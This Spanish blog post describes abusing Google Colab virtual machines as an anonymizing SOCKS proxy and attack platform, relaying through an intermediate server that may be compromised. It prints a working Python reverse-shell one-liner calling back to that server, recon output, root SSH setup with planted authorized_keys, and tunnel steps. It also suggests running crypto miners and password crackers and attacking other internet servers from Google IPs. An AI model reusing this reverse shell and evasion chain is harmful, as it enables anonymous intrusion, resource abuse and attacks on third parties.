Google proporciona de forma gratuita un servicio de máquinas virtuales para probar temas de machine learning, pero en este artículo abusaremos de tal servicio para navegar de forma anónima desde la ip de la VM de Google.
Estas VMs tienen ciertas limitaciones como una vida máxima de 12h y que se resetean si pasa demasiado tiempo idle.
Para que todo el proceso sea un poco mas “stealth” accederé y realizaré todas las conexiones hacia un servidor llamado gary, este puede ser un servidor owneado, o que hayáis ganado acceso del modo que sea, la cuestión es que Google nunca vea la dirección ip de nuestra casa.
En gary preparamos la recepción de la conexión reversa:
Configuramos el navegador web para que el tráfico salga por un proxy-socks en Gary, luego en GoogleColab lanzamos la conexión reversa desde la CLI web:
En Gary debemos de tener una shell de root:
uid=0(root) gid=0(root) groups=0(root)
Curioseamos un poco el sistema y vemos que se trata de un KVM:
[ 0.000000] Linux version 5.4.104+ (builder@81cc40d87d7b) (Chromium OS 12.0_pre408248_p20201125-r7 clang version 12.0.0 (/var/tmp/portage/sys-devel/llvm-12.0_pre408248_p20201125-r7/work/llvm-12.0_pre408248_p20201125/clang f402e682d0ef5598eeffc9a21a691b03e602ff58)) #1 SMP Sat Jun 5 09:50:34 PDT 2021
[ 0.000000] DMI: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
[ 0.000000] Hypervisor detected: KVM
[ 1.704333] systemd[1]: Detected virtualization kvm.
[ 1.999305] systemd[1]: Proceeding WITHOUT firewalling in effect! (This warning is only shown for the first loaded unit using IP firewalling.)
[ 4.088037] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/ipv6/netfilter/ip6_tables.ko" pid=300 cmdline="/sbin/modprobe ip6_tables"
[ 4.143487] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/ipv6/netfilter/ip6table_filter.ko" pid=306 cmdline="/sbin/modprobe -q -- ip6table_filter"
[ 4.241535] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/netfilter/xt_state.ko" pid=322 cmdline="/sbin/modprobe -q -- ipt_state"
[ 7.985461] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/bridge/br_netfilter.ko" pid=454 cmdline="modprobe -va bridge br_netfilter"
[ 7.996406] Bridge firewalling registered
[ 8.008630] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/netfilter/nf_nat.ko" pid=457 cmdline="/sbin/modprobe -q -- iptable_nat"
[ 8.019320] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/ipv4/netfilter/iptable_nat.ko" pid=457 cmdline="/sbin/modprobe -q -- iptable_nat"
[ 8.048762] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/netfilter/xt_addrtype.ko" pid=467 cmdline="/sbin/modprobe -q -- ipt_addrtype"
[ 8.183836] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/netfilter/xt_MASQUERADE.ko" pid=504 cmdline="/sbin/modprobe -q -- ipt_MASQUERADE"
[ 11.831028] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/sched/sch_htb.ko" pid=704 cmdline="/sbin/modprobe -q -- sch_htb"
[ 11.851161] HTB: quantum of class 10001 is big. Consider r2q change.
[ 11.862327] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/sched/cls_u32.ko" pid=709 cmdline="/sbin/modprobe -q -- cls_u32"
Un kernel bastante moderno:
Linux 09572f6e5558 5.4.104+ #1 SMP Sat Jun 5 09:50:34 PDT 2021 x86_64 x86_64 x86_64 GNU/Linux
La versión de Ubuntu es bastante obsoleta:
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
Sistema de ficheros Ext4 y overlay:
Filesystem Type Size Used Avail Use% Mounted on
overlay overlay 108G 37G 71G 35% /
tmpfs tmpfs 64M 0 64M 0% /dev
tmpfs tmpfs 6.4G 0 6.4G 0% /sys/fs/cgroup
shm tmpfs 5.9G 0 5.9G 0% /dev/shm
tmpfs tmpfs 6.4G 36K 6.4G 1% /var/colab
/dev/sda1 ext4 76G 42G 35G 55% /etc/hosts
tmpfs tmpfs 6.4G 0 6.4G 0% /proc/acpi
tmpfs tmpfs 6.4G 0 6.4G 0% /proc/scsi
tmpfs tmpfs 6.4G 0 6.4G 0% /sys/firmware
Una CPU bastante potente:
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 63
model name : Intel(R) Xeon(R) CPU @ 2.30GHz
stepping : 0
microcode : 0x1
cpu MHz : 2299.998
cache size : 46080 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 1
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology nonstop_tsc cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm invpcid_single ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt arat md_clear arch_capabilities
bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs
bogomips : 4599.99
clflush size : 64
cache_alignment : 64
address sizes : 46 bits physical, 48 bits virtual
power management:
processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 63
model name : Intel(R) Xeon(R) CPU @ 2.30GHz
stepping : 0
microcode : 0x1
cpu MHz : 2299.998
cache size : 46080 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 1
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology nonstop_tsc cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm invpcid_single ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt arat md_clear arch_capabilities
bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs
bogomips : 4599.99
clflush size : 64
cache_alignment : 64
address sizes : 46 bits physical, 48 bits virtual
power management:
Y 12G de RAM:
total used free shared buff/cache available
Mem: 12991 512 10091 1 2388 12211
Swap: 0 0 0
Podemos ver que tienen un poco de todo lanzado, una app Node y Jupyter:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 0.3 339812 50028 ? Ssl 21:08 0:01 /tools/node/bin/node /datalab/web/app.js
root 16 0.0 0.0 35892 4820 ? Ss 21:08 0:00 tail -n +0 -F /root/.config/Google/DriveFS/Logs/dpb.txt /root/.config/Google/DriveFS/Logs/drive_fs.txt
root 51 0.1 0.4 193892 59800 ? Sl 21:09 0:01 /usr/bin/python2 /usr/local/bin/jupyter-notebook --ip="172.28.0.2" --port=9000 --FileContentsManager.root_dir="/" --MappingKernelManager.root_dir="/content"
root 52 0.1 0.0 708216 10016 ? Sl 21:09 0:01 /usr/local/bin/dap_multiplexer --domain_socket_path=/tmp/debugger_vx9vv6b8m
root 63 0.6 0.8 699976 115940 ? Ssl 21:10 0:06 /usr/bin/python3 -m ipykernel_launcher -f /root/.local/share/jupyter/runtime/kernel-a4277f05-0d8b-4aaa-8d1b-82f3da445847.json
root 83 0.3 0.1 128664 15972 ? Sl 21:10 0:02 /usr/bin/python3 /usr/local/lib/python3.7/dist-packages/debugpy/adapter --for-server 40973 --host 127.0.0.1 --port 18229 --server-access-token 8ff4906cd012266aca367d4dbfbed9c59964bbe9dbcb55fe04ab124564ca4c7e
root 205 0.0 0.1 51740 14308 ? S 21:24 0:00 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("gary_ip",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
root 210 0.0 0.0 34308 4872 ? S 21:24 0:00 /bin/sh -i
root 228 0.0 0.0 59036 6392 ? R 21:26 0:00 ps auxwww
Le damos un vistazo a los usuarios del sistema:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
nvidia-persistenced:x:104:108:NVIDIA Persistence Daemon,,,:/nonexistent:/usr/sbin/nologin
Averiguar ip pública es un poco complicado ya que no tiene ip, ifconfig, route y el curl no funciona, pero podemos conectar a un servidor nuestro como Gary y comprobar el origen de la conexión:
En Gary ponemos un tcpdump:
23:28:45.338795 IP 35.186.177.6.48186 > gary_ip.51443: Flags [P.], seq 1962:2110, ack 1736, win 501, options [nop,nop,TS val 247778615 ecr 2014444252], length 148
Podemos ver que su dirección WAN es: 35.193.177.6
La dirección ip privada podemos obtenerla de dos modos, directamente desde /proc o instalando las herramientas necesarias ya que tenemos shell de root:
Main:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.28.0.0/16 2 0 2
+-- 172.28.0.0/30 2 0 2
|-- 172.28.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.28.0.2
/32 host LOCAL
|-- 172.28.255.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.28.0.0/16 2 0 2
+-- 172.28.0.0/30 2 0 2
|-- 172.28.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.28.0.2
/32 host LOCAL
|-- 172.28.255.255
/32 link BROADCAST
Instalando las tools sería del siguiente modo:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.0.2 netmask 255.255.0.0 broadcast 172.28.255.255
ether 02:42:ac:1c:00:02 txqueuelen 0 (Ethernet)
RX packets 2580 bytes 716941 (716.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2264 bytes 500525 (500.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 26563 bytes 9402692 (9.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 26563 bytes 9402692 (9.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 172.28.0.1 0.0.0.0 UG 0 0 0 eth0
172.28.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
Ya puestos vamos a ver que mas hay en la red mediante Nmap:
Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-01 18:54 UTC
Nmap scan report for 172.28.0.1
Host is up (-0.031s latency).
MAC Address: 02:42:88:9F:77:C1 (Unknown)
Nmap scan report for kmp_default.br0 (172.28.0.3)
Host is up (0.000027s latency).
MAC Address: 02:42:AC:1C:00:03 (Unknown)
Nmap scan report for 09572f6e5558 (172.28.0.2)
Host is up.
Hasta ahora hemos estado trabajando en una shell no interactiva, debido a esto algunos comandos se pueden comportar de forma anómala, para conseguir una shell interactiva instalamos el servidor ssh:
Habilitamos el acceso como root:
Arrancamos el servicio:
Comprobamos que esté funcionando:
root 1489 0.0 0.0 72304 3388 ? Ss 19:04 0:00 /usr/sbin/sshd
Generamos las keys ssh de root:
Para que todo el proceso de túneles sea mas cómodo sin tener que escribir passwords añadimos la key del usuario de Gary en el authorized_keys de la VM de Google y las keys de Google en el authorized_keys de Gary:
[\033[01;34m]\w[\033[00m]$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCJnu9CPaPODrtN8MCj89XNnDZMJRnCyVVitOIHKZZafCPXgqoM8o6GMTbi8wuuVD2XslqKdEkfboBoOJZCYMPPdNRrS3YAczqIzrzcYQC86YjEn5eJ8qbtbQbUE/m3Kk7pdYeC2b97ez3tm64P4/fxZ+D2dnulWiLuQ0GMvTO5wjLzaFWlyU1PwTuWaQX4V0mMIyKlO9n8NaMJrRRac6QjU7QkU/oU0u62YPUXB8aVVyuqTUbEOArsU/co4DYwom9FMJEIL+BNFt+Ub7D1TWwNWzuRfaoZHdHXfbYwNbLrJHfg/kC9HOybQpfAPOHiLGfDLJQpZe1MCNE8HSVctaf kr0m@gary" » .ssh/authorized_keys
Ahora las keys del Google en Gary:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qpZvrPmOYE9twaAY2u3QUu8XX5MdNXw2xLPt91HwXEbq+5f7NdHiuA0h1DbD+IR/Bvf2iHK5l59eSYMkzUcgPZSDS3+LKmofMp9Z0FYX3X9fTt0O6y17E0eVJXSmmBwdUJUvkEkaEVHD8wjJgBk4WPKNeof3e3pSbhPAXfewrNBIAzE8A2Ybcyz5/IBTsaL6prV1cB1FRKzhNO/+OQ5jlmlkHzjdF55QXdm0jp0iiFX+BtM4qKN4uDoklbqp9CXAn8W2LKE6cwkpoOQSH9Wg+RJmF2J1QOAmruSXdUJEw07gxrYsknOV5ma9vd/uBQMxiNSvcF9UnzdoS/n/Ckaf root@8647f8b545bd
NOTA: Hemos Añadido las keys y no hemos utilizado passwords por comodidad pero también porque no sabemos si Google tiene algún tipo de keylogger en la VM o algo parecido, si utilizamos passwords Google podría hacerse con nuestra contraseña.
Antes de crear túneles ssh destacar que en todos los túneles SSH que utilicemos deben tener en la parte local un puerto alto 8080 ya que la conexión ssh se realiza con un usuario regular y no podría bindear los puertos bajos por tratarse de puertos privilegiados.
Creamos un túnel para obtener una sesión ssh interactiva:
En Gary conectamos:
Ya tenemos una shell interactiva!!
Además hemos creado un proxy socks para poder navegar a través del equipo de Google, para que nuestro proxy-socks no quede totalmente expuesto podemos definir reglas de firewall y controlar el acceso.
Configuramos el navegador por:
gary_ip:1080
Y podemos ver que estamos saliendo con la ip de Google:
El envío de mails desde esta VM podría resultar interesante ya que se trata de una dirección ip de Google pero parece que no es posible ya que el tráfico debe de estar filtrado:
Trying 92.189.150.26...
Esta VM es bastante potente, 2 Intel Xeon @ 2.30GHz, 12Gb de RAM y 108G de disco, también podríamos subir cualquier tipo de software que requiera capacidad de cómputo y ejecutarlo allí, como mineros de criptomonedas, crackeadores de passwords y demás.
Recordad que si hemos habilitado el uso de GPU en Colab tendremos a nuestra disposición una tarjeta gráfica de última generación:
https://colab.research.google.com/notebooks/gpu.ipynb#scrollTo=oM_8ELnJq_wd
*-display
description: 3D controller
product: GK210GL [Tesla K80]
vendor: NVIDIA Corporation
physical id: 4
bus info: pci@0000:00:04.0
version: a1
width: 64 bits
clock: 33MHz
capabilities: msi pm bus_master cap_list
configuration: driver=nvidia latency=0
resources: iomemory:40-3f iomemory:80-7f irq:35 memory:c0000000-c0ffffff memory:400000000-7ffffffff memory:800000000-801ffffff ioport:c000(size=128)
En este equipo tenemos acceso como root por lo tanto podemos instalar todas las tools que necesitemos.
El único inconveniente es que estas VMs son reseteadas cada 12h o si la máquina se encuentra ociosa durante demasiado tiempo, por lo tanto cualquier proceso que llevemos a cabo debemos ir guardando el avance cada poco tiempo para en caso de reinicio cargar los útlimos datos y seguir desde ese punto.
Hay que tener en cuenta varios puntos antes de hacer algo que no debamos:
- Google conoce los datos con los que hemos iniciado sesión en GoogleColab, incluido histórico de inicios anteriores.
- Yo he utilizado un segundo servidor(gary) como salto intermedio pero si no dispusiesemos de él estaríamos exponiendo la dirección ip de nuestra casa.
Todo esto ha sido reportado a Google pero han respondido del siguiente modo:
Hi! Regarding your report: Colab allows code execution by design. Code is executed in a virtual machine dedicated to your account. Virtual machines are recycled when idle for a certain period of time, their maximum lifetime is enforced by the system. See here for more details.
For these reasons, we won't submit a bug based on your report.
Thanks again for your report and time,
The Google Bug Hunter Team
A lo cual yo les respondí:
Hello
In that way it is possible to use the VM as proxy and generate other
attacks to other Internet servers from a Google ip, is it the correct
behaviour?
Best regards
Y ellos finalmente respondieron con:
yes
Así que supongo que no les importa que utilicemos sus servidores como proxy o punto de ataque hacia otros servidores de Internet.